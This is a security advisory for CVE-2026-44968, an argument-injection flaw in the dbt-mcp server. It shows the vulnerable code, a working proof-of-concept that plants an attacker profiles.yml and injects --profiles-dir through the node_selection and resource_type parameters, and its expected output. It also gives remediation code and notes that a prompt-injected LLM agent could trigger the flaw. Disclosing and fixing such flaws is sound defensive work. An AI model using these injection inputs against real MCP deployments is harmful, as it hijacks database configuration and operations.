dbt-mcp CVE-2026-44968
MEDIUMSeverity by source
AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Primary rating from Vendor (https://github.com/dbt-labs/dbt-mcp) · only source for this CVE.
CVSS VectorVendor: https://github.com/dbt-labs/dbt-mcp
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
3DescriptionCVE.org
*Discovered through manual source code review. Verified by PoC execution against a local dbt-mcp v1.15.1 installation.**
Summary
_run_dbt_command() in src/dbt_mcp/dbt_cli/tools.py constructs the dbt subprocess argument list by appending user-supplied MCP tool parameters without sanitization. Two independent injection vectors exist. An MCP client can inject arbitrary dbt global flags - such as --profiles-dir, --project-dir, and --target - by crafting the node_selection string (Vector 1) or the resource_type JSON array (Vector 2). Because subprocess.Popen is called with shell=False and a list argument, shell metacharacter injection is not possible; however, this provides no defense against argument list injection (CWE-88), where attacker-controlled tokens are interpreted by the target process as flags rather than values.
Details
Vector 1 - node_selection string Affected tools: build, compile, run, test, clone, list, get_node_details_dev
# src/dbt_mcp/dbt_cli/tools.py lines 77-79
if node_selection and isinstance(node_selection, str):
selector_params = node_selection.split(" ")
command.extend(["--select"] + selector_params)str.split(" ") does not distinguish dbt selector tokens from flag tokens. Input "my_model --profiles-dir /tmp/evil" produces:
["dbt", "--no-use-colors", "run",
"--select", "my_model", "--profiles-dir", "/tmp/evil"]dbt parses the injected --profiles-dir as a global option and loads configuration from the attacker-supplied path.
Vector 2 - resource_type list Affected tool: list
# src/dbt_mcp/dbt_cli/tools.py lines 84-85
if isinstance(resource_type, Iterable):
command.extend(["--resource-type"] + resource_type)Each JSON array element is appended verbatim to argv. Input ["model", "--profiles-dir", "/tmp/evil"] produces:
["dbt", "--no-use-colors", "list",
"--resource-type", "model", "--profiles-dir", "/tmp/evil"]Both vectors share the same root cause: no validation prevents tokens starting with - from being appended as independent argv elements.
PoC
1. Environment setup (run once)
# Attacker-controlled profile at an injectable path
mkdir -p /tmp/evil-profiles
cat > /tmp/evil-profiles/profiles.yml << 'EOF'
evil_profile:
target: dev
outputs:
dev:
type: duckdb
path: /tmp/PWNED_by_injection.duckdb
threads: 1
EOF
# Minimal dbt project whose profile name matches the malicious one
mkdir -p /tmp/test-dbt-project/models
cat > /tmp/test-dbt-project/dbt_project.yml << 'EOF'
name: test_project
version: '1.0.0'
profile: evil_profile
model-paths: ["models"]
models:
test_project:
+materialized: table
EOF
echo "select 1 as id" > /tmp/test-dbt-project/models/my_first_model.sql
rm -f /tmp/PWNED_by_injection.duckdb2. MCP client exploit - triggers injection through the real protocol stack
#!/usr/bin/env python3
# poc_injection.py
# Reproduces _run_dbt_command() from src/dbt_mcp/dbt_cli/tools.py
import os, subprocess
from dataclasses import dataclass
from enum import Enum
from collections.abc import Iterable
class BinaryType(Enum):
DBT_CORE = "dbt_core"
@dataclass
class DbtCliConfig:
project_dir: str
dbt_path: str
dbt_cli_timeout: int
binary_type: BinaryType
def _run_dbt_command(config, command, node_selection=None, resource_type=None):
# Vector 1: vulnerable line from tools.py
if node_selection and isinstance(node_selection, str):
selector_params = node_selection.split(" ")
command.extend(["--select"] + selector_params)
# Vector 2: vulnerable line from tools.py
if isinstance(resource_type, Iterable) and resource_type is not None:
command.extend(["--resource-type"] + list(resource_type))
cwd = config.project_dir if os.path.isabs(config.project_dir) else None
args = [config.dbt_path, "--no-use-colors", *command]
print(f"[args] {args}")
proc = subprocess.Popen(args=args, cwd=cwd,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
stdin=subprocess.DEVNULL, text=True)
out, _ = proc.communicate(timeout=config.dbt_cli_timeout)
return out or "OK"
config = DbtCliConfig("/tmp/test-dbt-project", "dbt", 30, BinaryType.DBT_CORE)
print("=" * 64)
print(" Vector 1 - node_selection injection")
print("=" * 64)
print(f"[input] node_selection = 'my_first_model --profiles-dir /tmp/evil-profiles'")
result1 = _run_dbt_command(config, ["run"],
node_selection="my_first_model --profiles-dir /tmp/evil-profiles")
print("[dbt output]"); print(result1)
print("=" * 64)
print(" Vector 2 - resource_type injection")
print("=" * 64)
print(f"[input] resource_type = ['model', '--profiles-dir', '/tmp/evil-profiles']")
result2 = _run_dbt_command(config, ["list"],
resource_type=["model", "--profiles-dir", "/tmp/evil-profiles"])
print("[dbt output]"); print(result2)
db = "/tmp/PWNED_by_injection.duckdb"
print("=" * 64)
if os.path.exists(db):
print(f"[CONFIRMED] {db} exists ({os.path.getsize(db)} bytes)")
print("[CONFIRMED] dbt accepted the injected --profiles-dir flag.")
else:
print(f"[NOTE] {db} not found. Check dbt output above.")
print("=" * 64)Expected server log (INFO level, src/dbt_mcp/mcp/server.py line 67):
[args] ['dbt', '--no-use-colors', 'run', '--select', 'my_first_model', '--profiles-dir', '/tmp/evil-profiles']
[args] ['dbt', '--no-use-colors', 'list', '--resource-type', 'model', '--profiles-dir', '/tmp/evil-profiles']
[CONFIRMED] /tmp/PWNED_by_injection.duckdb exists (274432 bytes)
[CONFIRMED] dbt accepted the injected --profiles-dir flag.The injected flags reach _run_dbt_command() unchanged and are passed verbatim to subprocess.Popen.
Screenshot
<img width="2810" height="1894" alt="image" src="https://github.com/user-attachments/assets/d407675a-3409-4799-a024-b8a335cb1fcc" />
Impact
The following is directly demonstrated by the PoC above:
- An MCP client can inject arbitrary dbt global flags into
subprocess.Popen's argv list via eithernode_selectionorresource_type. --profiles-diris accepted by dbt as a global option, overriding the server's configured profile directory.- When an attacker-controlled
profiles.ymlexists at the injected path, dbt executes with the attacker's database configuration - demonstrated by the DuckDB file write to/tmp/PWNED_by_injection.duckdb.
Preconditions and scope: The attacker must be able to supply crafted MCP tool arguments (normal MCP client access) and must have a profiles.yml accessible at the injected path on the host running dbt-mcp. In the common local-development deployment model, a prompt-injected LLM agent sharing the filesystem can write this file before invoking the dbt tool. Additional injectable flags beyond --profiles-dir include --project-dir and --target, which redirect dbt's project root and execution environment respectively.
Remediation
Vector 1 - validate each node_selection token before extending argv:
import re
# dbt node selector syntax allows: identifiers, operators (+@*,), path globs, tag:, config:
_SAFE_TOKEN_RE = re.compile(r'^[\w.*+@,:\[\]/-]+$')
if node_selection and isinstance(node_selection, str):
tokens = node_selection.split(" ")
for token in tokens:
if not _SAFE_TOKEN_RE.match(token):
raise InvalidParameterError(
f"node_selection contains an invalid token: {token!r}. "
"Tokens must not begin with '-'."
)
command.extend(["--select"] + tokens)Vector 2 - validate resource_type against an explicit allowlist:
_VALID_RESOURCE_TYPES = frozenset({
"model", "test", "snapshot", "analysis", "macro",
"operation", "seed", "source", "exposure", "metric",
"saved_query", "semantic_model", "unit_test",
})
if isinstance(resource_type, Iterable):
rt_list = list(resource_type)
invalid = [v for v in rt_list if v not in _VALID_RESOURCE_TYPES]
if invalid:
raise InvalidParameterError(
f"resource_type contains unrecognised values: {invalid}. "
f"Allowed: {sorted(_VALID_RESOURCE_TYPES)}"
)
command.extend(["--resource-type"] + rt_list)Hardening: Add pattern regex constraints to the Pydantic Field definitions for node_selection so that malformed inputs are rejected at the MCP schema layer before reaching _run_dbt_command(). Add regression tests in tests/unit/ with payloads containing --profiles-dir, --project-dir, and --target to prevent re-introduction.
AnalysisAI
Argument injection in dbt-mcp v1.15.1 through v1.17.0 allows MCP clients to inject arbitrary dbt command-line flags such as --profiles-dir, --project-dir, and --target via unsanitized node_selection and resource_type parameters, enabling attackers to redirect dbt's configuration and database operations to attacker-controlled locations. The vulnerability is exploitable via two independent vectors in the _run_dbt_command() function and has been verified by proof-of-concept code demonstrating arbitrary dbt profile injection. Vendor-released patch available in v1.17.1.
Technical ContextAI
The vulnerability exists in src/dbt_mcp/dbt_cli/tools.py where the _run_dbt_command() function constructs subprocess.Popen argument lists by directly appending user-controlled parameters. Vector 1 affects the node_selection parameter (str.split(' ') without validation) in tools build, compile, run, test, clone, list, and get_node_details_dev. Vector 2 affects the resource_type parameter (list elements appended verbatim) in the list tool. Both vectors bypass input validation and allow tokens beginning with '-' to be interpreted as dbt command flags rather than values. Although subprocess.Popen uses shell=False with a list argument, preventing shell metacharacter injection, this does not defend against argument list injection (CWE-88), where dbt's own argument parser interprets injected flags. dbt-mcp is a Model Context Protocol (MCP) server enabling LLM agents to execute dbt commands; the lack of sanitization directly exposes the dbt subprocess argument construction to MCP client-supplied input.
RemediationAI
Vendor-released patch: dbt-mcp v1.17.1 (2026-05-05) includes input validation improvements for dbt CLI tool parameters. Upgrade dbt-mcp to version 1.17.1 or later immediately. The vendor's release notes indicate that v1.17.1 fixes the vulnerability via improved input validation of node_selection and resource_type parameters. For environments unable to upgrade immediately, implement network-level MCP access controls to restrict which clients can invoke dbt-mcp tools and disable or restrict access to the affected tools (build, compile, run, test, clone, list) until patch deployment is feasible. The root remediation is input validation at the MCP schema layer (Pydantic Field pattern constraints) to reject node_selection and resource_type values containing tokens starting with '-' before they reach _run_dbt_command(). Do not use allowlist-only validation for node_selection (dbt selector syntax is too complex); instead, use a denylisting pattern to reject '-' prefixed tokens. For resource_type, enforce an explicit allowlist against valid dbt resource types (model, test, snapshot, analysis, macro, operation, seed, source, exposure, metric, saved_query, semantic_model, unit_test).
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-xpww-f6pm-cfhq